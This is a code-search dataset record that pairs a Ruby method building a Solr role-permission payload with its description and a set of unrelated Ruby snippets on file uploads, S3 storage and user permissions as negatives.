#{@owenr.display} admin permission\")\n end\n\n format.html { redirect_to service_templates_path, notice: 'Service template was successfully created.' }\n format.json { render :edit, status: :created, location: @service_template }\n else\n format.html { render :new }\n format.json { render json: @service_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload_backup(aFileName,aBucketName,aObjectName = nil)\n\t\taObjectName ||= File.basename(aFileName)\n\t\tAWS::S3::S3Object.store(aObjectName, open(aFileName), aBucketName)\n\t\tbucket_owner = AWS::S3::Bucket.acl(aBucketName).owner\n\t\tpolicy = AWS::S3::S3Object.acl(aObjectName,aBucketName)\n\t\tpolicy.grants.clear\n\t\tpolicy = policy_add(policy,{'id' => bucket_owner.id, 'display_name' => bucket_owner.display_name},'FULL_CONTROL')\n\n\t\t# replace policy with full control to bucket owner, none to test_user\n \t\tAWS::S3::S3Object.acl(aObjectName,aBucketName,policy)\n\tend", "def s3LogJsonUpdate(kafka_log_dir)\n println \"kafka log dir : #{kafka_log_dir}\"\n logs_json_path = \"/etc/instance-controller/logs.json\"\n println \"Updating #{logs_json_path}\"\n json_obj=JSON.parse(File.read(\"#{logs_json_path}\"));\n sections = json_obj[\"logFileTypes\"]\n sections.each { |section|\n if section['typeName'] == 'SYSTEM_LOG' then\n user_log = section['logFilePatterns']\n user_log << {\n \"fileGlob\" => \"#{kafka_log_dir}/var/log/(.*)\",\n \"s3Path\" => \"node/$instance-id/apps/kafka/$0\",\n \"delayPush\" => \"true\"\n }\n break\n end\n }\n new_json=JSON.pretty_generate(json_obj)\n File.open('/tmp/logs.json','w') do |file_w|\n file_w.write(\"#{new_json}\")\n end\n sudo \"mv /tmp/logs.json #{logs_json_path}\"\nend", "def create\n @user_file = UserFile.new(user_file_params)\n @user_file.user = current_user\n respond_to do |format|\n if @user_file.save\n format.html { redirect_to @user_file, notice: \"User file was successfully created.\" }\n format.json { render :show, status: :created, location: @user_file }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @user_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n Chef::FileCache.store(\"remote_file/#{sanitized_cache_file_basename}\", json_data)\n end", "def upload\r\n \r\n end", "def stage_json(file_path)\n file_dir, filename = File.split(file_path)\n relative_dir_path = file_dir.gsub(%r{^#{@metrics_dir}/}, \"\")\n destination_dir = \"#{@staging_dir}/#{relative_dir_path}\"\n FileUtils.mkdir_p(destination_dir) unless File.directory?(destination_dir)\n FileUtils.cp(file_path, \"#{destination_dir}/#{filename}\")\n end", "def upload(obj, file_path)\n begin\n res = scribd_user.upload(:file => escape(file_path), :access => access_level)\n obj.update_attributes({:ipaper_id => res.doc_id, :ipaper_access_key => res.access_key})\n rescue\n raise ScribdFuUploadError, \"Sorry, but #{obj.class} ##{obj.id} could not be uploaded to Scribd. \"\n end\n end", "def create\n if params[:local_file].present?\n # Ingest files already on disk\n filename = params[:local_file][0]\n file = File.open(File.join(current_user.directory, filename), 'rb')\n create_and_save_generic_file(file, '1', nil, params[:batch_id], filename)\n if @generic_file\n Sufia.queue.push(ContentDepositEventJob.new(@generic_file.pid, current_user.user_key))\n redirect_to sufia.batch_edit_path(params[:batch_id])\n else\n flash[:alert] = \"Error creating generic file.\"\n render :new\n end\n else\n # They are uploading files.\n super\n end\n end", "def write_user_credentials(username, password)\n File.open(credentials_path, 'a') do |users|\n users.write(Psych.dump(\"#{username}\": encrypt_password(password)))\n end\n clean_yaml\nend", "def create\n #truck_params.merge!(\"truck_owner_id\" => current_user.id) --- see below\n #binding.pry\n @truck = current_user.trucks.new(truck_params)\n @file = params[:truck][:picture]\n extension = file_extension @file.original_filename\n filename = @truck.name.downcase.gsub(' ', '-') + \"-\" + current_user.id.to_s + \"-\" + Time.now.to_s.downcase.gsub(' ', '-').slice(0..-7) + extension\n @truck.image_url = \"https://s3.amazonaws.com/food-trucks/#{filename}\"\n #binding.pry\n #binding.pry\n s3 = Aws::S3::Resource.new(region:'us-east-1')\n obj = s3.bucket('food-trucks').object(filename)\n obj.upload_file(@file.tempfile)\n\n respond_to do |format|\n if @truck.save\n format.html { redirect_to @truck, notice: 'Truck was successfully created.' }\n format.json { render :show, status: :created, location: @truck }\n else\n format.html { render :new }\n format.json { render json: @truck.errors, status: :unprocessable_entity }\n end\n end\n end", "def write_sftp\n content_dir = \"#{platform_root}/sftp\"\n FileUtils.mkdir_p(\"#{content_dir}/host-config/authorized-keys\")\n Dir.chdir(\"#{content_dir}/host-config\") do\n %x(ssh-keygen -P '' -t ed25519 -f ssh_host_ed25519_key < /dev/null)\n %x(ssh-keygen -P '' -t rsa -b 4096 -f ssh_host_rsa_key < /dev/null)\n end\n Dir.chdir(content_dir) { FileUtils.touch('users.conf') }\n end", "def create_file\n dest_file = Item.new(Path.new(params[:dest_file]))\n content = params[:content]\n response = {}\n response[:dest_file] = dest_file\n permission = params[:force_permission]\n if dest_file.create(content, permission)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 422\n end\n end", "def store(file)\n sharefile_file = file.to_file\n @content_type ||= file.content_type\n root_folder = @config[:sharefile_root]\n @file = @client.store_document(root_folder, @path, sharefile_file)\n end", "def create\n #p request.form_data?\n #p YAML.load(request.body_stream)\n #p request.body_stream.size\n # File.open('d:/data.jpg', 'w') do |f|\n # f.puts(request.body_stream.read)\n # end\n\n p import_avatar_params\n # uploaded_io = import_avatar_params\n # File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|\n # file.write(uploaded_io.read)\n # end\n #\n # s = Student.find_by(sno: 'S318107024')\n # s.avatar = import_avatar_params\n # s.save\n @import_avatar = ImportAvatar.new(import_avatar_params)\n\n if @import_avatar.save\n render :show, status: :created, location: @import_avatar\n else\n render json: @import_avatar.errors, status: :unprocessable_entity\n end\n end", "def save\n repository.create_contents(path, \"Upload #{path}\", content)\n end", "def create_user(path_to_users_file)\n user_object_array = []\n is_admin_user = ''\n puts \"* Create new user *\"\n file_data = read_json_file(path_to_users_file)\n user_attributes = {\"Name: \"=> \"name\", \"Username: \" => \"username\", \"Password: \" => \"password\", \"Is Admin?: (y/n) Note: only regular non-admin users can have portfolios\" => \"admin\"}\n user_hash = Hash.new\n user_attributes.each_with_index do |(k,v),i|\n puts \"#{k}\\n\"\n value = gets.strip.chomp\n if v == \"admin\"\n value.downcase == \"y\" ? value = true : value = false\n is_admin_user = value\n end\n if v == \"password\"\n value = encrypt(value)\n end\n user_hash[v] = value\n user_object_array << value\n end\n user_hash['active'] = true\n user_hash['user_created'] = Time.now.strftime(\"%Y-%m-%d\")\n\n if !check_duplicate_user(file_data, user_hash['username']) # true = duplicate username, false = ok to add user\n if is_admin_user\n puts \"You are about to add a new Admin User. Are you sure? y/n\\n\"\n else\n puts \"You are about to add a new Regular User. Are you sure? y/n\\n\"\n end\n choice = gets.strip.chomp.to_s.downcase\n if choice == \"y\" || choice == \"yes\"\n file_data.push(user_hash)\n write_json_file(file_data, path_to_users_file)\n create_user_object(user_object_array) # calls method to create the user object using array of name, username and password\n portfolio_object = create_portfolio_object(user_hash['username']) # calls a method to create a portfolio object and write a blank portfolio json file\n unless user_hash['admin']\n write_json_file(portfolio_object.create_empty_portfolio, portfolio_object.portfolio_path)\n end\n puts \"User Created!\\n\"\n else\n puts \"User creation aborted.\\n\" # existing username found in users.json\n return\n end\n else \n puts \"This username already exists\"\n return\n end\n\n \nend", "def persistUserContentToFile(dataDir)\n threadForEachUser do |account|\n #account.contentMap.keys.each do |tag|\n #userFile = @dataDir+\"other/#{account.user}.yml\"\n # if tag.match(/programming/)\n # userFile = @dataDir+\"programming/#{account.user}.yml\"\n # elsif tag.match(/travel/)\n # userFile = @dataDir+\"travel/#{account.user}.yml\"\n # end\n userFile = dataDir+\"/#{account.user}.yml\"\n # Remove user file if already present.\n File.delete(userFile) if File.exists?(userFile)\n File.open(userFile,\"a\") do |outputFile|\n puts \"Persisting content for '#{account.user}'\"\n #outputFile.puts account.contentMap[tag].to_yaml \n outputFile.puts account.contentArr.to_yaml\n end\n #end\n end\n end", "def create\n @upload = @user.uploads.build(upload_params)\n authorize @upload\n\n respond_to do |format|\n if @upload.save\n format.json { render json: @upload }\n format.html { redirect_to user_uploads_path(@user) }\n else\n format.json { render json: @upload.errors }\n format.json { render :new }\n end\n end\n end", "def save\n # Convert hash to JSON\n self_json = {email: @email, name: @name, permissions: @permissions}.to_json\n #Open the file and append the JSON to the file\n open('users.json', 'a') do |file|\n file.puts self_json\n end\n end", "def set_file_priv()\n FileUtils.chmod 0644, @setting_file_path\n FileUtils.chmod 0644, @root_cert_kc_path\n end", "def create\n data =params[:data]\n\n resource = ActiveSupport::JSON.decode(data)\n @repo = Repository.find(resource[\"repo_id\"])\n dir_path = resource[\"dirPath\"];\n post = DataFile.save(params['file'], @repo.path+dir_path)\n\n\t\t@git = GitHelper.init(@repo.path, current_user.email, current_user.name)\n\t\tGitHelper.commitAll(@git, resource[\"comment\"])\n\n\t\trender json: {success: \"file uploaded\"}\n end", "def store\n object = bucket.objects.build(final_file)\n object.content = open(File.join(tmp_path, final_file))\n object.save\n end", "def create\n @sys_image = resource_new(params[:sys_image]) \n @sys_image.user_id = current_user.id\n\t@sys_image.sys_image_id = nil\n @sys_image.baseline = 0\n if (params[:sys_image_id].to_i != -1)\n @sys_image.baseline = 1\n @sys_image.sys_image_id = params[:sys_image_id]\n end\n uploaded_io = params[:file]\n #path = get_sysimage_by_user(current_user.username, params[:sys_image][:name]); \n #File.open(path, 'w') do |file|\n #file.write(uploaded_io.read)\n #end\n _size = File.size(uploaded_io)\n if _size > 0\n @sys_image.size = _size\n if @sys_image.save\n write_resource(@sys_image, uploaded_io.read, \"ndz\")\n OMF::Workspace.create_sysimage(@sys_image, get_path(@sys_image, \"ndz\")) \n flash[\"success\"] = t(\"amazing.sys_image.created\")\n redirect_to(@sys_image) \n else\n render :action => \"new\" \n end\n end\n end", "def create_req_files\n Dir.mkdir DATA_DIR unless File.exists? DATA_DIR\n FileUtils.touch NODES_FILE unless File.exists? NODES_FILE\n FileUtils.touch ENC_ROLES_FILE unless File.exists? ENC_ROLES_FILE\n FileUtils.touch HIERA_DATA_FILE unless File.exists? HIERA_DATA_FILE\n end", "def create_file(type, resource)\n Chef::Log.info(\"date : #{resource.date}\")\n\n date = ''\n temporary_filename = ''\n\n if platform_family?('windows')\n temporary_filename = \"C:/Windows/Temp/#{resource.reference}\"\n\n # Formatted date for the request\"\n ruby_block 'date-windows' do\n block do\n # Get date\n date = powershell_out('get-date -Format \"yyyy/%M/%d HHHH:mmmm:ssss\"').stdout.chop\n end\n action :create\n end\n\n else\n temporary_filename = \"/tmp/#{resource.reference}\"\n\n # Formatted date for the request\"\n ruby_block 'date-linux' do\n block do\n # Get date\n date = shell_out('date +\"%Y/%m/%d %T\"').stdout.chop\n end\n action :create\n end\n end\n\n Chef::Log.debug(\"temporary_filename : #{temporary_filename}\")\n\n template temporary_filename.to_s do\n source 'cyberark_request.erb'\n variables(\n version: resource.version,\n date: resource.date,\n type: type.to_s,\n reference: resource.reference,\n hostname: resource.hostname,\n ip: resource.ip,\n fqdn: resource.fqdn,\n platform: resource.platform,\n location: resource.location,\n geographic_code: resource.geographic_code,\n username: resource.username,\n password: resource.password\n )\n end\n\n ruby_block 'create-file' do\n block do\n if platform_family?('windows')\n hash = powershell_out(\"$(Get-FileHash #{temporary_filename} -Algorithm MD5).hash\").stdout.chop\n date_short = powershell_out('get-date -Format \"yyyyMMddHHmmss\"').stdout.chop\n else\n hash = shell_out(\"md5sum #{temporary_filename} | cut -f1 -d ' '\").stdout.chop\n date_short = shell_out('date +\"%Y%m%d%H%M\"').stdout.chop\n end\n\n filename = \"#{date_short}_#{type}_#{resource.reference}_#{hash}\"\n Chef::Log.debug(\"date_short : #{date_short}\")\n Chef::Log.debug(\"filename : #{filename}\")\n Chef::Log.debug(\"mv #{temporary_filename} /tmp/#{filename}.tmp\")\n node.default['cyberark']['filename'] = filename.to_s\n\n if platform_family?('windows')\n powershell_out(\"mv #{temporary_filename} C:/Windows/Temp/#{filename}.tmp\")\n else\n shell_out(\"mv #{temporary_filename} /opt/IBM/#{filename}.tmp\")\n end\n end\n action :create\n end\nend", "def upload_and_chmodx(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n write_file path, data\n chmod(path)\n end", "def upload_document\n render template: \"/dash/chooser/upload_document\"\n end", "def upload\n if File.exists?(file_path = \"/home/redroid/motion_detection_images/#{params[:img]}.jpg\")\n send_403_forbidden\n else\n File.open(file_path, 'wb') { |file| file.write(request.raw_post)}\n send_200_ok\n end\nend", "def upload_file\n file = google_session.upload_from_file(file_params[:file].tempfile,\n file_params[:file].original_filename)\n collection.add(file)\n google_session.root_collection.remove(file)\n render json: 'Upload Successful'\n end", "def send_upload(apikey, external_url = nil, security = nil, options = nil)\n base = \"#{FilestackConfig::CDN_URL}/#{apikey}/#{build_store_task(options)}\"\n\n if security\n policy = security.policy\n signature = security.signature\n base = \"#{base}/security=s:#{signature},p:#{policy}\"\n end\n\n response = Typhoeus.post(\"#{base}/#{external_url}\", headers: FilestackConfig::HEADERS)\n\n if response.code == 200\n begin\n response_body = JSON.parse(response.body)\n return response_body\n rescue\n raise response.body\n end\n end\n raise response.body\n end", "def publish!\n release_file = build_role 'release', release\n\n timestamp.replace(release_file)\n\n timestamp_file = build_role 'timestamp', timestamp\n\n bucket.create(release_file.path_with_hash, release_file.body)\n bucket.create(timestamp_file.path, timestamp_file.body)\n end", "def create\n enforce_permissions!('edit', params[:object_id])\n\n file_upload, mime_type = upload_from_params\n\n @object = retrieve_object! params[:object_id]\n if @object.nil?\n flash[:notice] = t('dri.flash.notice.specify_object_id')\n return redirect_to controller: 'catalog', action: 'show', id: params[:object_id]\n end\n\n preservation = params[:preservation].presence == 'true' ? true : false\n @generic_file = build_generic_file(object: @object, user: current_user, preservation: preservation)\n\n filename = params[:file_name].presence || file_upload.original_filename\n file_content = GenericFileContent.new(user: current_user, object: @object, generic_file: @generic_file)\n\n if file_content.add_content(file_upload, filename, mime_type, download_url)\n flash[:notice] = t('dri.flash.notice.file_uploaded')\n\n mint_doi(@object, 'asset added') if @object.status == 'published'\n else\n message = @generic_file.errors.full_messages.join(', ')\n flash[:alert] = t('dri.flash.alert.error_saving_file', error: message)\n @warnings = t('dri.flash.alert.error_saving_file', error: message)\n logger.error \"Error saving file: #{message}\"\n end\n\n respond_to do |format|\n format.html { redirect_to controller: 'my_collections', action: 'show', id: params[:object_id] }\n format.json do\n response = { checksum: file_content.checksum }\n response[:warnings] = @warnings if @warnings\n\n render json: response, status: :created\n end\n end\n end", "def create\n @level = Level.new(params[:level])\n\n base64png = params[:level][:json]['backgroundUrl']\n filename = Digest::MD5.hexdigest(base64png) + \".png\"\n\n File.open(File.join('public','uploads','maps', filename), 'wb') do |f|\n f.write(Base64.decode64(base64png.sub('data:image/png;base64,','')))\n end\n\n @level.json[\"backgroundUrl\"] = \"/uploads/maps/#{filename}\"\n @level.creator = current_user\n\n respond_to do |format|\n if @level.save\n format.html { redirect_to(@level, :notice => 'Level was successfully created.') }\n format.json { render :json => @level, :status => :created, :location => @level }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @level.errors, :status => :unprocessable_entity }\n end\n end\n end", "def upload\n\t AWS.config(access_key_id: @access_key, secret_access_key: @access_secret)\n\t s3 = AWS::S3.new \n\t key = File.basename(@zipfile_name)\n\t s3.buckets[@bucket_name].objects[key].write(:file => @zipfile_name)\n\t puts \"Uploading file #{@zipfile_name} to bucket #{@bucket_name}.\"\n\t FileUtils.rm_rf @zipfile_name\n\t end", "def setUserFileAccess(adminSettingPerms, userName, filePath, grantAccess)\n\n #filePath = GlobalSettings.changeFilePathToMatchSystem(filePath)\n fAccess = filePath.concat \".access\"\n access = Hash.new {}\n if !File.exist?(fAccess)\n if grantAccess\n access[\"users\"] = \";#{userName};\"\n else\n access[\"users\"] = \"\"\n end\n access[\"groups\"] = \"\"\n if(adminSettingPerms == \"root\")\n access[\"adminUsers\"] = \";root(rwp);\"\n else\n access[\"adminUsers\"] = \";root(rwp);\"+adminSettingPerms+\"(rw);\"\n end\n access[\"adminGroups\"] = \"\"\n else\n access = YAML.load_file(fAccess)\n users = access[\"users\"]\n if users.index(userName) == nil && grantAccess\n users.concat( userName+\";\")\n elsif users.index(userName) != nil && !grantAccess\n\n beginning = users[0..users.index(userName)]\n gend = users[users.index(\";\", users.index(userName)+userName.size)]\n users = beginning.concat gend\n end\n access[\"users\"] = users\n end\n File.write(fAccess, access.to_yaml)\n\n end" ]
[ "0.5791267", "0.57667667", "0.5710712", "0.5689615", "0.564075", "0.550264", "0.5454038", "0.543372", "0.53172344", "0.53170604", "0.52894396", "0.5282607", "0.51955545", "0.51955545", "0.5155096", "0.51351833", "0.5134265", "0.5129723", "0.511404", "0.5108365", "0.51023424", "0.510206", "0.5077675", "0.50747865", "0.5058241", "0.5057025", "0.5055002", "0.5045579", "0.5028082", "0.5022141", "0.5017101", "0.5014937", "0.5011683", "0.4995968", "0.4995644", "0.49906272", "0.4987044", "0.49740005", "0.49677312", "0.4966482", "0.49658298", "0.49618837", "0.49419823", "0.4936704", "0.4924274", "0.49141753", "0.4910604", "0.4910089", "0.49014637", "0.48690128", "0.48666698", "0.48538315", "0.48507267", "0.4842468", "0.4839607", "0.4830244", "0.48302", "0.48212558", "0.48196143", "0.48193866", "0.4817748", "0.48168844", "0.48163328", "0.4798452", "0.47924143", "0.47832495", "0.4777056", "0.477232", "0.47714916", "0.4769728", "0.4762767", "0.47597688", "0.47576448", "0.475621", "0.4755941", "0.47538167", "0.47504154", "0.47500518", "0.47495636", "0.47473067", "0.47449034", "0.4744789", "0.47414833", "0.47408608", "0.4738736", "0.47368792", "0.47331885", "0.4727236", "0.4724292", "0.47221616", "0.47133052", "0.47040313", "0.4700724", "0.469921", "0.4695799", "0.46952012", "0.4693132", "0.4689936", "0.4684054", "0.46816397" ]
0.6727751
0
This method builds the payload for uploading permissions assigned to the to the admin and app roles. The admin role will be assigned to the solr admin user and the app role will be assigned to the solr app user The Solr app user will be able to perform all the admin/regular read operations on the user, he will also be able insert/update/delete documents from the solr
def build_perms_payload() permissions = [ {"name" => "update", "role" => ["admin","app"]}, {"name" => "read", "role" => ["admin","app"]}, {"name" => "schema-read", "role" => ["admin", "app"]}, {"name" => "config-read", "role" =>["admin","app"]}, {"name" => "collection-admin-read", "role" => ["admin","app"]}, {"name" => "config-admin-read", "role" => ["admin","app"]}, {"name" => "security-edit", "role" => "admin"}, {"name" => "security-read", "role" => "admin"}, {"name" => "schema-edit", "role" => "admin"}, {"name" => "config-edit", "role" => "admin"}, {"name" => "collection-admin-edit", "role" => "admin"}, {"name" => "config-admin-edit", "role" => "admin"} ] perm_elems = Array.new key = "\"set-permission\"" permissions.each do |perm| perm_elems.push(key + ":" + perm.to_json) end payload = perm_elems.join(",\n") payload = "{#{payload}}" return payload end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_permissions\n [\"License\", \"Archive\", \"Contract\"].each do |doc|\n klass = doc.constantize\n doc_id = \"#{doc.downcase}_id\".to_sym\n permissions = self.send(\"#{doc.downcase.pluralize.singularize}_permissions\".to_sym)\n klass.find(:all).each { |record|\n permissions.create doc_id => record.id, :ycrole_id => self.id,\n :can_read => false, :can_write => false\n }\n end\n end", "def admin_permissions\n {\n id: 1,\n appendable_permissions: [\n { permission_type: 'basic' },\n { permission_type: 'admin' }\n ]\n }\n end", "def build\n if roles.empty?\n debug \"Not building any RolePermit\"\n return [] if roles.empty?\n end\n roles.inject([]) do |permits, role|\n debug \"Building RolePermit for #{role}\"\n (permits << create_permit(role)) if valid?(role.to_sym)\n permits\n end.compact\n end", "def bulk_create \t\n \tauthorize! :manage, :all #checking authorization who are having all permissions\n\n \tif params[\"permissions\"].present?\n \t\tresource_id = params[\"permissions\"][\"resource_id\"]\n \t\tresource_type = params[\"permissions\"][\"resource_type\"]\n \t\tif resource_id.present? && resource_type.present?\n\t \t\t#Checking model permissions and creating model permissions \n\t \t\tif params[\"permissions\"][\"1\"].present? \n\t \t\t\tactions = params[\"permissions\"][\"1\"]\n\t \t\t\tactions.each do |key,value|\n\t \t\t\t\tvalue.each do |sub|\n\t \t\t\t\t\tsub_values = sub.split('_')\n\t \t\t\t\t\tpermission = Permission.where(:resource_id => resource_id, :resource_type => resource_type,:action=>key,:no_model_permission=>1,:subject_class=>sub_values[0]).first_or_initialize\t\t \t\t\t\n\t\t \t\t\t\tpermission[:status] = sub_values[1]\n\t\t \t\t\t\tpermission[:actions_list] = []\n\t\t \t\t\t\tpermission[:created_by] = current_user.id if current_user\n\t\t \t\t\t\tpermission[:updated_by] = current_user.id if current_user\t \t\t\t\t\n\t\t \t\t\t\tpermission.save\n\t \t\t\t\tend\n\t \t\t\tend \t\t\t\n\t \t\tend\n\t \t\t#Checking controller permissions and creating controller permissions\n\t \t\tif params[\"permissions\"][\"0\"].present? \n\t \t\t\tactions = params[\"permissions\"][\"0\"]\n\t \t\t\tactions.each do |key,value|\n\t \t\t\t\tpermission = Permission.where(:resource_id => resource_id, :resource_type => resource_type,:action=>key,:no_model_permission=>false).first_or_initialize\t \t\t\t\t\t\t\t\n\t \t\t\t\tpermission[:actions_list] = value.reject(&:empty?).map{|x| x.to_sym }\n\t \t\t\t\tpermission[:created_by] = current_user.id if current_user\n\t \t\t\t\tpermission[:updated_by] = current_user.id if current_user\n\t \t\t\t\tpermission.save\n\t \t\t\tend \t\t\t\n\t \t\tend\n\t \t\tflash[:notice] = \"Groups permissions successfully saved\"\n\t \t\tredirect_to_back_or_default\n\t \telse\n\t \t\tflash[:error] = \"permissions not saved , Please fill required fields\"\n \t\t\tredirect_to_back_or_default\n\t \tend\n \telse\n \t\tflash[:error] = \"permissions not saved\"\n \t\tredirect_to_back_or_default\n \tend\n end", "def user_permission_fields(form)\n ubiquo_user_roles = form.object.ubiquo_user_roles.map(&:role)\n check_boxes = @roles.map do |role|\n content_tag(\"div\", :class => \"form-item\") do\n label_tag(\"role\"+role.id.to_s, role.name) + ' ' +\n check_box_tag(\"ubiquo_user[role_ids][]\", role.id, ubiquo_user_roles.include?(role), {:class => \"checkbox\", :id => \"role\"+role.id.to_s})\n end\n end\n content_tag(\"fieldset\") do\n content_tag(\"legend\", t(\"ubiquo.auth.roles\")) + check_boxes.join(\"\\n\").html_safe\n end + hidden_field_tag(\"ubiquo_user[role_ids][]\", '')\n end", "def create\n @role = Role.new(params[:role])\n\n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: t(:role_created) }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end", "def build_permissions!\n #Deployment keys will keep the permissions even with non active projects\n @rewind_deploy = get_deploy_identifier(@rewind_deploy_keys)\n @read_deploy = get_deploy_identifier(@read_deploy_keys)\n\n if @project.active?\n @rewind = get_identifier(@rewind_users)\n @write = get_identifier(@write_users)\n @read = get_identifier(@read_users)\n active_project_gitolite_access\n else\n all_read = @rewind_users + @write_users + @read_users\n @read = get_identifier(all_read)\n @read << 'REDMINE_CLOSED_PROJECT' if @read.empty? && @read_deploy.empty?\n end\n\n convert_to_gitolite_format\n end", "def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n # TODO: This area looks like it needs to be refactored.\n\n if current_user.admin?\n editor_abilities\n upload_abilities\n publish_abilities\n roles_abilities\n hard_delete_abilities\n import_admin_abilities\n user_abilities\n group_abilities\n can [:create, :destroy, :update], FeaturedWork\n can [:manage], Hydra::Admin::Collection\n\n can :create, TinymceAsset\n can [:create, :update], ContentBlock\n can :read, ContentBlock\n can :characterize, GenericFile\n end\n\n\n if current_user.manager?\n upload_abilities\n publish_abilities\n roles_abilities\n import_user_abilities\n can [:manage], Hydra::Admin::Collection do |admin_set|\n # Can manage admin sets within their assigned unit.\n current_user.osul_groups.include? admin_set.unit_group\n end\n can [:manage], Osul::Group do |group|\n # Can manage the groups the user is in or the groups of the units a user is assigned to.\n current_user.osul_groups.include? group or current_user.osul_groups.include? group.unit\n end\n can [:create], Osul::Group\n can [:create, :destroy, :update], FeaturedWork\n end\n\n if current_user.data_entry?\n upload_abilities\n publish_abilities\n no_admin_set_abilities\n end\n\n if current_user.data_entry_student?\n upload_abilities\n no_admin_set_abilities\n end\n\n unless current_user.public?\n can :view_full, GenericFile\n end\n\n if current_user.role.nil?\n no_file_abilities\n no_admin_set_abilities\n end\n end", "def build_permissions(perms, other)\n perms.permits! :read\n\n if self == other\n perms.permits! :write\n elsif other.admin?\n perms.permits! :write\n end\n end", "def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n\n if user_groups.include? ['all_project_writers']\n can [:create], PulStore::Base\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end\n\n if user_groups.include? ['lae_project_writers']\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end \n\n if user_groups.include? ['all_project_writers']\n can [:destroy], PulStore::Base\n end\n\n if user_groups.include? ['lae_project_readers', 'all_project_readers' ]\n can [:show], PulStore::Base\n end\n end", "def build_permissions(perms, other)\n perms.permits! :read\n perms.permits! :write if self == other\n end", "def permissions = {}", "def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end", "def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end", "def permissions\n\t\tauthorize @user\n\t\t@permissions = []\n\t\tonly_theirs = \"Only theirs\"\n\t\tyes = \"Yes\"\n\t\tno = \"No\"\n\t\tnames = [\"View positions\", \"Create positions\", \"Edit positions\", \"Delete positions\",\n\t\t \"Apply\", \"View applications\", \"Edit applications\", \"Delete applications\",\n\t\t \"Change application submission status\"]\n\t\tadmin_permissions = [yes, yes, yes, yes, yes, \"All\", yes, yes, yes]\n\t\tmod_permissions = [yes, no, yes, no, yes, \"All but incomplete\", only_theirs, only_theirs, yes]\n\t\tuser_permissions = [yes, no, no, no, yes, only_theirs, only_theirs, only_theirs, no]\n\t\tnames.each_with_index do |permission, index|\n\t\t\t@permissions << { name: names[index], admin: admin_permissions[index], mod: mod_permissions[index], user: user_permissions[index]}\n\t\tend\n\n @title = 'Permissions'\n\tend", "def role_params\n params.require(:role).permit(:name, :permission_ids => [])\n end", "def write\n storage_permissions_string = ActiveSupport::JSON.encode(@storage_permissions)\n Base64.strict_encode64(storage_permissions_string)\n end", "def role_params\n params.require(:role).permit(:name, :active_status, :comment, :user_id, :del_status, :permissions => [])\n end", "def create_permissions\n # initial_step is a controller action on some resources for creation...\n if user_groups.include?(HYHULL_USER_GROUPS[:content_creator]) || \n user_groups.include?(HYHULL_USER_GROUPS[:content_access_team]) || \n @current_user.admin?\n can [:initial_step, :create], :all\n end\n\n end", "def custom_permissions\n discover_permissions\n export_sets_permissions\n batches_permissions\n preservation_events_permissions\n end", "def assign_permission\n company_admin,*company_admin_all = Role.company_admin.reorder(\"id ASC\")\n functions = company_admin.try(:function_ids) \n if company_admin_all.any?\n company_admin_all.each do |c_admin|\n c_admin.function_ids = functions\n end\n end\n end", "def apply_superuser_permissions(permission_types)\n []\n end", "def create\n @role = Role.new(role_params) \n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end", "def permitted_attributes\n if @role_name == 'member'\n [:product_name, :product_category_id]\n else\n [:product_name, :product_category_id, :SKU]\n end\n end", "def custom_permissions\n if admin?\n can [:confirm_delete], ActiveFedora::Base\n can [:allow_downloads, :prevent_downloads], AdminSet\n\n can :manage, Spotlight::HomePage\n can :manage, Spotlight::Exhibit\n end\n\n can :read, Spotlight::HomePage\n can :read, Spotlight::Exhibit\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end", "def load_permissions \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]} \n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_primitive_values(\"clientApplicationIds\", @client_application_ids)\n writer.write_collection_of_primitive_values(\"clientApplicationPublisherIds\", @client_application_publisher_ids)\n writer.write_collection_of_primitive_values(\"clientApplicationTenantIds\", @client_application_tenant_ids)\n 